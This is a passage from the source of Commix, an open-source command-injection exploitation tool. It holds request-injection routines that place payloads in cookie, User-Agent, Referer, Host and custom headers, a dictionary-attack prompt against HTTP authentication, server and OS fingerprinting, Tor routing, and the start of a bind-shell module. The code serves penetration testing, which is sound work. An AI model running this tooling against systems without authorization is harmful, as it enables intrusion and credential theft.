menu.options.auth_type = auth_type.lower()
else:
menu.options.auth_type = auth_type.lower()
# Check for stored auth credentials.
if not menu.options.auth_cred:
try:
stored_auth_creds = session_handler.export_valid_credentials(url, auth_type.lower())
except:
stored_auth_creds = False
if stored_auth_creds and not menu.options.ignore_session:
menu.options.auth_cred = stored_auth_creds
info_msg = "Identified a previously stored valid pair of credentials '"
info_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'."
print(settings.print_bold_info_msg(info_msg))
else:
# Basic authentication
if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC:
if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
warn_msg = menu.options.auth_type.capitalize() + " "
warn_msg += "HTTP authentication credentials are required."
print(settings.print_warning_msg(warn_msg))
while True:
message = "Do you want to perform a dictionary-based attack? [Y/n] > "
do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
auth_creds = authentication.http_auth_cracker(url, realm)
if auth_creds != False:
menu.options.auth_cred = auth_creds
settings.REQUIRED_AUTHENTICATION = True
break
else:
raise SystemExit()
elif do_update in settings.CHOICE_NO:
checks.http_auth_err_msg()
elif do_update in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(do_update)
pass
# Digest authentication
elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST:
if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
warn_msg = menu.options.auth_type.capitalize() + " "
warn_msg += "HTTP authentication credentials are required."
print(settings.print_warning_msg(warn_msg))
# Check if heuristics have failed to identify the realm attribute.
if not realm:
warn_msg = "Heuristics have failed to identify the realm attribute."
print(settings.print_warning_msg(warn_msg))
while True:
message = "Do you want to perform a dictionary-based attack? [Y/n] > "
do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
auth_creds = authentication.http_auth_cracker(url, realm)
if auth_creds != False:
menu.options.auth_cred = auth_creds
settings.REQUIRED_AUTHENTICATION = True
break
else:
raise SystemExit()
elif do_update in settings.CHOICE_NO:
checks.http_auth_err_msg()
elif do_update in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(do_update)
pass
else:
checks.http_auth_err_msg()
else:
raise SystemExit()
ignore_end = time.time()
start = start - (ignore_start - ignore_end)
except ValueError as err_msg:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
print(settings.print_critical_msg(str(err_msg) + "."))
raise SystemExit()
except Exception as err_msg:
request_failed(err_msg)
end = time.time()
diff = end - start
if int(diff) < 1:
url_time_response = int(diff)
if settings.VERBOSITY_LEVEL != 0 and _:
print(settings.SINGLE_WHITESPACE)
if settings.TARGET_OS == settings.OS.WINDOWS:
warn_msg = "Due to the relatively slow response of 'cmd.exe' in target "
warn_msg += "host, there might be delays during the data extraction procedure."
print(settings.print_warning_msg(warn_msg))
else:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
url_time_response = int(round(diff))
warn_msg = "Target's estimated response time is " + str(url_time_response)
warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause"
if url_time_response >= 3:
warn_msg += " serious"
warn_msg += " delays during the data extraction procedure"
if url_time_response >= 3:
warn_msg += " and/or possible corruptions over the extracted data"
warn_msg += "."
print(settings.print_warning_msg(warn_msg))
if int(timesec) == int(url_time_response):
timesec = int(timesec) + int(url_time_response)
else:
timesec = int(timesec)
# Against windows targets (for more stability), add one extra second delay.
if settings.TARGET_OS == settings.OS.WINDOWS :
timesec = timesec + 1
return timesec, url_time_response
"""
Exceptions regarding requests failure(s)
"""
def request_failed(err_msg):
settings.VALID_URL = False
try:
error_msg = str(err_msg.args[0]).split("] ")[1]
except IndexError:
try:
error_msg = str(err_msg.args[0])
except IndexError:
error_msg = str(err_msg)
if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]):
settings.MAX_RETRIES = 1
error_msg = "Can't establish SSL connection. "
if settings.MULTI_TARGETS or settings.CRAWLING:
error_msg = error_msg + "Skipping to the next target."
print(settings.print_critical_msg(error_msg))
if not settings.CRAWLING:
raise SystemExit()
else:
return False
elif any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]):
settings.MAX_RETRIES = 1
err = "Unable to connect to the target URL"
if menu.options.proxy:
err += " or proxy"
err = err + " (Reason: " + str(error_msg) + "). "
if settings.MULTI_TARGETS or settings.CRAWLING:
err = err + "Skipping to the next target."
error_msg = err
print(settings.print_critical_msg(error_msg))
if not settings.CRAWLING:
raise SystemExit()
else:
return False
elif settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR or settings.PERFORM_CRACKING:
return False
else:
err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). "
err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')"
if menu.options.auth_type and menu.options.auth_cred:
if settings.MULTI_TARGETS or settings.CRAWLING:
err_msg += ". "
else:
err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. "
else:
err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. "
if settings.MULTI_TARGETS or settings.CRAWLING:
err_msg += "Skipping to the next target."
print(settings.print_critical_msg(err_msg))
if not settings.CRAWLING:
if menu.options.auth_type and menu.options.auth_cred:
raise SystemExit()
elif settings.TOTAL_OF_REQUESTS == 1:
if "IncompleteRead" in str(error_msg):
error_msg = "There was an incomplete read error while retrieving data "
error_msg += "from the target URL."
elif "infinite loop" in str(error_msg):
error_msg = "Infinite redirect loop detected. "
error_msg += "Please check all provided parameters and/or provide missing ones."
elif "BadStatusLine" in str(error_msg):
error_msg = "Connection dropped or unknown HTTP "
error_msg += "status code received."
elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg):
error_msg = "Connection was forcibly closed by the target URL."
elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]:
status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]
warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) + "' which could interfere with the results of the tests."
print(settings.print_warning_msg(warn_msg))
if not settings.NOT_FOUND_ERROR in str(err_msg).lower():
return False
return True
else:
error_msg = "The provided target URL seems not reachable. "
error_msg += "In case that it is, please try to re-run using "
if not menu.options.random_agent:
error_msg += "'--random-agent' switch and/or "
error_msg += "'--proxy' option."
print(settings.print_critical_msg(error_msg))
if not settings.CRAWLING:
raise SystemExit()
else:
return False
elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \
(menu.options.ignore_code and menu.options.ignore_code in str(error_msg).lower()):
return False
elif settings.IGNORE_ERR_MSG == False:
if menu.options.skip_heuristics and settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
continue_tests = checks.continue_tests(err_msg)
if continue_tests == True:
settings.IGNORE_ERR_MSG = True
return False
else:
if not settings.CRAWLING:
raise SystemExit()
else:
return False
else:
if settings.VERBOSITY_LEVEL >= 1:
if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]:
debug_msg = "Got " + str(err_msg)
print(settings.print_debug_msg(debug_msg))
else:
print(settings.print_critical_msg(err_msg))
return False
"""
Get the response of the request
"""
def get_request_response(request):
headers.check_http_traffic(request)
if menu.options.proxy:
try:
proxy = request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
except Exception as err_msg:
response = request_failed(err_msg)
elif menu.options.tor:
try:
response = tor.use_tor(request)
except Exception as err_msg:
response = request_failed(err_msg)
else:
try:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
except Exception as err_msg:
response = request_failed(err_msg)
return response
"""
Check if target host is vulnerable. (Cookie-based injection)
"""
def cookie_injection(url, vuln_parameter, payload):
def inject_cookie(url, vuln_parameter, payload, proxy):
if proxy == None:
opener = _urllib.request.build_opener()
else:
opener = _urllib.request.build_opener(proxy)
if settings.TIME_RELATIVE_ATTACK :
payload = _urllib.parse.quote(payload)
# Check if defined POST data
if menu.options.data:
menu.options.data = settings.USER_DEFINED_POST_DATA
request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC))
else:
url = parameters.get_url_part(url)
request = _urllib.request.Request(url)
#Check if defined extra headers.
headers.do_check(request)
payload = checks.newline_fixation(payload)
payload = payload.replace("+", "%2B")
if settings.INJECT_TAG in menu.options.cookie:
request.add_header('Cookie', menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload))
else:
request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload))
try:
headers.check_http_traffic(request)
response = opener.open(request)
return response
except ValueError:
pass
if settings.TIME_RELATIVE_ATTACK :
start = 0
end = 0
start = time.time()
proxy = None
if menu.options.proxy:
try:
proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy})
response = inject_cookie(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
elif menu.options.tor:
try:
proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_cookie(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
else:
try:
response = inject_cookie(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
how_long = int(end - start)
return how_long
else:
return response
"""
Check if target host is vulnerable. (User-Agent-based injection)
"""
def user_agent_injection(url, vuln_parameter, payload):
def inject_user_agent(url, vuln_parameter, payload, proxy):
if proxy == None:
opener = _urllib.request.build_opener()
else:
opener = _urllib.request.build_opener(proxy)
# Check if defined POST data
if menu.options.data:
menu.options.data = settings.USER_DEFINED_POST_DATA
request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC))
else:
url = parameters.get_url_part(url)
request = _urllib.request.Request(url)
#Check if defined extra headers.
headers.do_check(request)
payload = checks.newline_fixation(payload)
request.add_header('User-Agent', payload)
try:
headers.check_http_traffic(request)
response = opener.open(request)
return response
except ValueError:
pass
if settings.TIME_RELATIVE_ATTACK :
start = 0
end = 0
start = time.time()
proxy = None
if menu.options.proxy:
try:
proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy})
response = inject_user_agent(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
elif menu.options.tor:
try:
proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_user_agent(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
else:
try:
response = inject_user_agent(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
how_long = int(end - start)
return how_long
else:
return response
"""
Check if target host is vulnerable. (Referer-based injection)
"""
def referer_injection(url, vuln_parameter, payload):
def inject_referer(url, vuln_parameter, payload, proxy):
if proxy == None:
opener = _urllib.request.build_opener()
else:
opener = _urllib.request.build_opener(proxy)
# Check if defined POST data
if menu.options.data:
menu.options.data = settings.USER_DEFINED_POST_DATA
request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC))
else:
url = parameters.get_url_part(url)
request = _urllib.request.Request(url)
#Check if defined extra headers.
headers.do_check(request)
payload = checks.newline_fixation(payload)
request.add_header('Referer', payload)
try:
headers.check_http_traffic(request)
response = opener.open(request)
return response
except ValueError:
pass
if settings.TIME_RELATIVE_ATTACK :
start = 0
end = 0
start = time.time()
proxy = None
# Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy})
response = inject_referer(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
elif menu.options.tor:
try:
proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_referer(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
else:
try:
response = inject_referer(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
how_long = int(end - start)
return how_long
else:
return response
"""
Check if target host is vulnerable. (Host-based injection)
"""
def host_injection(url, vuln_parameter, payload):
payload = _urllib.parse.urlparse(url).netloc + payload
def inject_host(url, vuln_parameter, payload, proxy):
if proxy == None:
opener = _urllib.request.build_opener()
else:
opener = _urllib.request.build_opener(proxy)
# Check if defined POST data
if menu.options.data:
menu.options.data = settings.USER_DEFINED_POST_DATA
request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC))
else:
url = parameters.get_url_part(url)
request = _urllib.request.Request(url)
#Check if defined extra headers.
headers.do_check(request)
payload = checks.newline_fixation(payload)
request.add_header('Host', payload)
try:
headers.check_http_traffic(request)
response = opener.open(request)
return response
except ValueError:
pass
if settings.TIME_RELATIVE_ATTACK :
start = 0
end = 0
start = time.time()
proxy = None
if menu.options.proxy:
try:
proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy})
response = inject_host(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
elif menu.options.tor:
try:
proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_host(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
else:
try:
response = inject_host(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
how_long = int(end - start)
return how_long
else:
return response
"""
Check if target host is vulnerable. (Custom header injection)
"""
def custom_header_injection(url, vuln_parameter, payload):
def inject_custom_header(url, vuln_parameter, payload, proxy):
if proxy == None:
opener = _urllib.request.build_opener()
else:
opener = _urllib.request.build_opener(proxy)
# Check if defined POST data
if menu.options.data:
menu.options.data = settings.USER_DEFINED_POST_DATA
request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC))
else:
url = parameters.get_url_part(url)
request = _urllib.request.Request(url)
#Check if defined extra headers.
headers.do_check(request)
payload = checks.newline_fixation(payload)
if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE:
request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload))
else:
request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload)
try:
headers.check_http_traffic(request)
response = opener.open(request)
return response
except ValueError:
pass
if settings.TIME_RELATIVE_ATTACK :
start = 0
end = 0
start = time.time()
proxy = None
if menu.options.proxy:
try:
proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy})
response = inject_custom_header(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
elif menu.options.tor:
try:
proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_custom_header(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
else:
try:
response = inject_custom_header(url, vuln_parameter, payload, proxy)
except Exception as err_msg:
response = request_failed(err_msg)
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
how_long = int(end - start)
return how_long
else:
return response
"""
Target's encoding detection
"""
def encoding_detection(response):
charset_detected = False
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Identifying the indicated web-page charset. "
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
try:
# Detecting charset
try:
# Support for python 2.7.x
charset = response.headers.getparam('charset')
except AttributeError:
# Support for python 3.x
charset = response.headers.get_content_charset()
if charset != None and len(charset) != 0 :
charset_detected = True
else:
content = re.findall(r"charset=['\"](.*)['\"]", response.read())[0]
if len(content) != 0 :
charset = content
charset_detected = True
else:
# Check if HTML5 format
charset = re.findall(r"charset=['\"](.*?)['\"]", response.read())[0]
if len(charset) != 0 :
charset_detected = True
# Check the identifyied charset
if charset_detected :
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST:
warn_msg = "The indicated web-page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown."
print(settings.print_warning_msg(warn_msg))
else:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "The indicated web-page charset appears to be "
debug_msg += settings.DEFAULT_PAGE_ENCODING + Style.RESET_ALL + "."
print(settings.print_bold_debug_msg(debug_msg))
else:
pass
except:
pass
if charset_detected == False and settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
warn_msg = "Heuristics have failed to identify indicated web-page charset."
print(settings.print_warning_msg(warn_msg))
"""
Procedure for target application identification
"""
def technology_detection(response):
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Identifying the technology supporting the target application. "
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
print(settings.SINGLE_WHITESPACE)
try:
if len(response.info()['X-Powered-By']) != 0:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "The target application is powered by "
debug_msg += response.info()['X-Powered-By'] + Style.RESET_ALL + "."
print(settings.print_bold_debug_msg(debug_msg))
except Exception as e:
if settings.VERBOSITY_LEVEL != 0:
warn_msg = "Heuristics have failed to identify the technology supporting the target application."
print(settings.print_warning_msg(warn_msg))
"""
Procedure for target application identification
"""
def application_identification(url):
found_application_extension = False
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Identifying the target application."
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
root, application_extension = splitext(_urllib.parse.urlparse(url).path)
settings.TARGET_APPLICATION = application_extension[1:].upper()
if settings.TARGET_APPLICATION:
found_application_extension = True
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
debug_msg = "The target application identified as "
debug_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "."
print(settings.print_bold_debug_msg(debug_msg))
# Check for unsupported target applications
for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)):
if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower():
err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if not found_application_extension:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
warn_msg = "Heuristics have failed to identify target application."
print(settings.print_warning_msg(warn_msg))
"""
Procedure for target server's identification.
"""
def server_identification(server_banner):
found_server_banner = False
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Identifying the target server. "
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
for i in range(0,len(settings.SERVER_BANNERS)):
match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower())
if match:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "The target server identified as "
debug_msg += server_banner + Style.RESET_ALL + "."
print(settings.print_bold_debug_msg(debug_msg))
settings.SERVER_BANNER = match.group(0)
found_server_banner = True
# Set up default root paths
if "apache" in settings.SERVER_BANNER.lower():
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.WEB_ROOT = "\\htdocs"
else:
settings.WEB_ROOT = "/var/www"
elif "nginx" in settings.SERVER_BANNER.lower():
settings.WEB_ROOT = "/usr/share/nginx"
elif "microsoft-iis" in settings.SERVER_BANNER.lower():
settings.WEB_ROOT = "\\inetpub\\wwwroot"
break
else:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
warn_msg = "The server which identified as '"
warn_msg += server_banner + "' seems unknown."
print(settings.print_warning_msg(warn_msg))
"""
Procedure for target server's operating system identification.
"""
def check_target_os(server_banner):
found_os_server = False
if menu.options.os and checks.user_defined_os():
user_defined_os = settings.TARGET_OS
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Identifying The underlying operating system. "
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
# Procedure for target OS identification.
for i in range(0,len(settings.SERVER_OS_BANNERS)):
match = re.search(settings.SERVER_OS_BANNERS[i].lower(), server_banner.lower())
if match:
found_os_server = True
settings.TARGET_OS = match.group(0)
match = re.search(r"microsoft|win", settings.TARGET_OS)
if match:
identified_os = "Windows"
if menu.options.os and user_defined_os != "win":
if not checks.identified_os():
settings.TARGET_OS = user_defined_os
settings.TARGET_OS = identified_os[:3].lower()
if menu.options.shellshock:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
err_msg = "The shellshock module ('--shellshock') is not available for "
err_msg += identified_os + " targets."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
identified_os = "Unix-like (" + settings.TARGET_OS + ")"
if menu.options.os and user_defined_os == "win":
if not checks.identified_os():
settings.TARGET_OS = user_defined_os
if settings.VERBOSITY_LEVEL != 0 :
if found_os_server:
print(settings.SINGLE_WHITESPACE)
debug_msg = "The underlying operating system appears to be "
debug_msg += identified_os.title() + Style.RESET_ALL + "."
print(settings.print_bold_debug_msg(debug_msg))
else:
print(settings.SINGLE_WHITESPACE)
warn_msg = "Heuristics have failed to identify server's operating system."
print(settings.print_warning_msg(warn_msg))
if found_os_server == False and not menu.options.os:
# If "--shellshock" option is provided then, by default is a Linux/Unix operating system.
if menu.options.shellshock:
pass
else:
if menu.options.batch:
if not settings.CHECK_BOTH_OS:
settings.CHECK_BOTH_OS = True
check_type = "Unix-like based"
elif settings.CHECK_BOTH_OS:
settings.TARGET_OS = settings.OS.WINDOWS
settings.CHECK_BOTH_OS = False
settings.PERFORM_BASIC_SCANS = True
check_type = "windows based"
info_msg = "Setting the " + check_type + " payloads."
print(settings.print_info_msg(info_msg))
else:
while True:
message = "Do you recognise the server's operating system? "
message += "[(W)indows/(U)nix-like/(q)uit] > "
got_os = common.read_input(message, default="", check_batch=True)
if got_os.lower() in settings.CHOICE_OS :
if got_os.lower() == "w":
settings.TARGET_OS = settings.OS.WINDOWS
break
elif got_os.lower() == "u":
break
elif got_os.lower() == "q":
raise SystemExit()
else:
common.invalid_option(got_os)
pass
"""
Perform target page reload (if it is required).
"""
def url_reload(url, timesec):
if timesec <= "5":
timesec = 5
time.sleep(timesec)
response = urllib.urlopen(url)
return response
# eof commix-3.8/src/core/requests/tor.py 0000664 0000000 0000000 00000010631 14466364451 0017446 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import http_client as _http_client
from src.utils import menu
from src.utils import settings
from src.utils import requirments
from src.thirdparty.colorama import Fore, Back, Style, init
if menu.options.tor_port:
TOR_HTTP_PROXY_PORT = menu.options.tor_port
else:
TOR_HTTP_PROXY_PORT = settings.TOR_HTTP_PROXY_PORT
"""
Check if Tor HTTP proxy is defined.
"""
def do_check():
check_tor_http_proxy = True
info_msg = "Testing Tor HTTP proxy settings ("
info_msg += settings.TOR_HTTP_PROXY_SCHEME + "://" + settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT
info_msg += "). "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT})
opener = _urllib.request.build_opener(tor_http_proxy)
_urllib.request.install_opener(opener)
except:
check_tor_http_proxy = False
pass
if check_tor_http_proxy:
try:
check_tor_page = opener.open("https://check.torproject.org/").read().decode(settings.DEFAULT_CODEC)
if not "You are not using Tor" in check_tor_page:
sys.stdout.write(settings.SUCCESS_STATUS + "\n")
sys.stdout.flush()
if menu.options.tor_check:
info_msg = "Tor connection is properly set. "
else:
info_msg = ""
found_ip = re.findall(r": <strong>" + "(.*)" + "</strong></p>", check_tor_page)
info_msg += "Your ip address appears to be " + found_ip[0] + ".\n"
sys.stdout.write(settings.print_bold_info_msg(info_msg))
warn_msg = "Increasing default value for option '--time-sec' to"
warn_msg += " " + str(settings.TIMESEC) + " because switch '--tor' was provided."
print(settings.print_warning_msg(warn_msg))
else:
print(settings.SINGLE_WHITESPACE)
if menu.options.tor_check:
err_msg = "It seems that your Tor connection is not properly set. "
else:
err_msg = ""
err_msg += "Can't establish connection with the Tor HTTP proxy. "
err_msg += "Please make sure that you have "
err_msg += "Tor bundle installed and running so "
err_msg += "you could successfully use "
err_msg += "switch '--tor'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except _urllib.error.URLError as err_msg:
print(settings.SINGLE_WHITESPACE)
if menu.options.tor_check:
err_msg = "It seems that your Tor connection is not properly set. "
else:
err_msg = ""
err_msg = "Please make sure that you have "
err_msg += "Tor bundle installed and running so "
err_msg += "you could successfully use "
err_msg += "switch '--tor'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except (_http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg:
print(settings.SINGLE_WHITESPACE)
if len(err_msg.line) > 2 :
print(err_msg.line, err_msg.message)
raise SystemExit()
"""
Use the TOR HTTP Proxy.
"""
def use_tor(request):
if menu.options.offline:
err_msg = "You cannot Tor network without access on the Internet."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
try:
tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT})
opener = _urllib.request.build_opener(tor_http_proxy)
_urllib.request.install_opener(opener)
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
return response
except Exception as err_msg:
try:
error_msg = str(err_msg.args[0]).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg).replace(": "," (") + ")."
print(settings.print_critical_msg(error_msg))
raise SystemExit()
# eof commix-3.8/src/core/shells/ 0000775 0000000 0000000 00000000000 14466364451 0015706 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/shells/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0020023 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/shells/bind_tcp.py 0000775 0000000 0000000 00000046506 14466364451 0020060 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import re
import sys
import time
import base64
import subprocess
from src.utils import menu
from src.utils import common
from src.utils import settings
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Check for available shell options.
"""
def shell_options(option):
if option.lower() == "bind_tcp":
warn_msg = "You are into the '" + option.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))
elif option.lower() == "?":
menu.reverse_tcp_options()
elif option.lower() == "quit":
raise SystemExit()
elif option[0:4].lower() == "set ":
if option[4:10].lower() == "rhost ":
check_rhost(option[10:])
if option[4:10].lower() == "lhost ":
err_msg = "The '" + option[4:9].upper() + "' option, is not "
err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option."
print(settings.print_error_msg(err_msg))
if option[4:10].lower() == "lport ":
check_lport(option[10:])
else:
return option
"""
Success msg.
"""
def shell_success():
info_msg = "Everything is in place, cross your fingers and check for bind shell (on port " + settings.LPORT + ").\n"
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
"""
Error msg if the attack vector is available only for Windows targets.
"""
def windows_only_attack_vector():
error_msg = "This attack vector is available only for Windows targets."
print(settings.print_error_msg(error_msg))
"""
Message regarding the MSF handler.
"""
def msf_launch_msg(output):
info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)."
print(settings.print_info_msg(info_msg))
info_msg = "Once the loading is done, press here any key to continue..."
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdin.readline().replace("\n","")
# Remove the ouput file.
os.remove(output)
"""
Set up the PHP working directory on the target host.
"""
def set_php_working_dir():
while True:
message = "Do you want to use '" + settings.WIN_PHP_DIR
message += "' as PHP working directory on the target host? [Y/n] > "
